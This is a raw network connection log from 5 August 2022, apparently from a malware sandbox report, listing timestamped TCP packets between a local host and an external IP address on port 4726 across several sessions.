Aug 5, 2022 11:33:54.063915968 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:54.157695055 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:54.176146984 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:54.266994953 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:54.301017046 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:54.392205000 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:54.425996065 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:54.516907930 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:54.517077923 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:54.610677958 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:54.653107882 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:54.736435890 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:54.823843956 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:54.907473087 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:54.948741913 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:55.032444000 CEST	4726	49812	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:55.106084108 CEST	49812	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:59.366894007 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:59.417598963 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:59.417843103 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:59.524507999 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:59.583445072 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:59.583853006 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:59.635479927 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:59.635679007 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:59.720151901 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:59.720491886 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:59.798283100 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:59.846770048 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:59.909229040 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:59.909444094 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:33:59.960549116 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:33:59.960984945 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:00.048269987 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:00.048506975 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:00.099859953 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:00.100217104 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:00.151355982 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:00.151542902 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:00.235629082 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:00.278064966 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:00.360622883 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:00.598840952 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:00.688580990 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:00.723149061 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:00.813591003 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:00.884502888 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:00.969878912 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:01.081970930 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:01.173136950 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:01.267559052 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:01.345015049 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:01.392653942 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:01.469866991 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:01.725084066 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:01.813790083 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:01.846406937 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:01.923197985 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:01.956439972 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:02.032804966 CEST	4726	49813	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:02.183705091 CEST	49813	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.200943947 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.249051094 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.249330044 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.249675035 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.306597948 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.306829929 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.392308950 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.392575026 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.440798044 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.470221996 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.548690081 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.548887968 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.626699924 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.727776051 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.737242937 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.775500059 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.775732040 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.861007929 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.861249924 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.909288883 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.931216002 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:06.979000092 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:06.994878054 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:07.079992056 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:07.202419996 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:07.283018112 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:07.374803066 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:07.454986095 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:07.640470982 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:07.720407963 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:07.767577887 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:07.845354080 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:07.980115891 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:08.064666033 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:08.134237051 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:08.220493078 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:08.258177042 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:08.345544100 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:08.376194954 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:08.454992056 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:08.501141071 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:08.579907894 CEST	4726	49815	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:08.661997080 CEST	49815	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:12.789921045 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:12.837486982 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:12.837687016 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:12.838139057 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:12.893780947 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:12.894033909 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:12.941871881 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:12.942104101 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.017076969 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.017324924 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.095344067 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.095532894 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.173357964 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.173728943 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.205849886 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.221483946 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.221699953 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.298389912 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.298584938 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.346421003 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.375159979 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.422880888 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.437553883 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.516894102 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.609493017 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.688971996 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.689121008 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.766819000 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.796755075 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.876291990 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.876549006 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:13.954587936 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:13.999903917 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:14.079467058 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:14.124758005 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:14.204634905 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:14.249865055 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:14.314878941 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:14.315077066 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:14.392115116 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:14.468863010 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:14.548177958 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:14.548367023 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:14.626319885 CEST	4726	49816	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:14.655917883 CEST	49816	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:18.798015118 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:18.845731974 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:18.845917940 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:18.846234083 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:18.904922962 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:18.905222893 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:18.953139067 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:18.953471899 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.032917976 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.033139944 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.111473083 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.170672894 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.221738100 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.222456932 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.270143986 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.270315886 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.345256090 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.345377922 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.392893076 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.393168926 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.440716982 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.482814074 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.498754978 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.579664946 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.579787016 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.657777071 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.717468977 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.798690081 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.798886061 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.876934052 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.904975891 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:19.986191988 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:19.998531103 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:20.080749989 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:20.154982090 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:20.236166000 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:20.236366987 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:20.314315081 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:20.373533010 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:20.455853939 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:20.456212044 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:20.533013105 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:20.560923100 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:20.642308950 CEST	4726	49819	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:20.706039906 CEST	49819	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:24.728194952 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:24.776205063 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:24.776355982 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:24.776942968 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:24.831422091 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:24.831738949 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:24.908061981 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:24.908313036 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:24.955961943 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:24.966181040 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.048307896 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.048645973 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.126332998 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.153652906 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.235714912 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.236912966 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.237847090 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.286519051 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.286860943 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.360692024 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.360872030 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.408972979 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.409166098 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.456708908 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.481570005 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.563982010 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.606667995 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.689002991 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.689237118 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.767203093 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.809672117 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:25.892008066 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:25.950367928 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:26.032633066 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:26.032965899 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:26.110855103 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:26.168953896 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:26.251461983 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:26.251703978 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:26.329611063 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:26.356431961 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:26.438895941 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:26.497193098 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:26.559499979 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:26.579385042 CEST	4726	49820	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:26.579515934 CEST	49820	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:30.586911917 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:30.638226032 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:30.638597012 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:30.638951063 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:30.698947906 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:30.699171066 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:30.782999039 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:30.783490896 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:30.835278034 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:30.871201992 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:30.954827070 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:30.955025911 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.048816919 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.058665037 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.142657995 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.143706083 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.144416094 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.197252035 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.198067904 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.249680042 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.249831915 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.301139116 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.301388979 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.392404079 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.418055058 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.501920938 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.502279043 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.595738888 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.605376005 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.689311028 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.699040890 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.782959938 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.855483055 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:31.939452887 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:31.939649105 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:32.032906055 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:32.074023008 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:32.159668922 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:32.159892082 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:32.251847029 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:32.261459112 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:32.345613956 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:32.402122021 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:32.464459896 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:32.485919952 CEST	4726	49822	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:32.486035109 CEST	49822	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:36.598071098 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:36.646035910 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:36.646225929 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:36.646532059 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:36.701657057 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:36.701980114 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:36.782768965 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:36.783226013 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:36.831393957 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:36.838584900 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:36.923237085 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:36.923454046 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.001584053 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.001933098 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.079555988 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.104381084 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.112138987 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.152298927 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.152523041 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.235868931 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.236078024 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.238802910 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.283628941 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.283840895 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.360939026 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.361263037 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.409358025 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.448029041 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.497204065 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.510246038 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.595232010 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.651380062 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.735883951 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.736116886 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.829514027 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.869560003 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:37.970222950 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:37.970468998 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:38.064157963 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:38.064390898 CEST	49823	4726	192.168.11.20	188.127.230.176
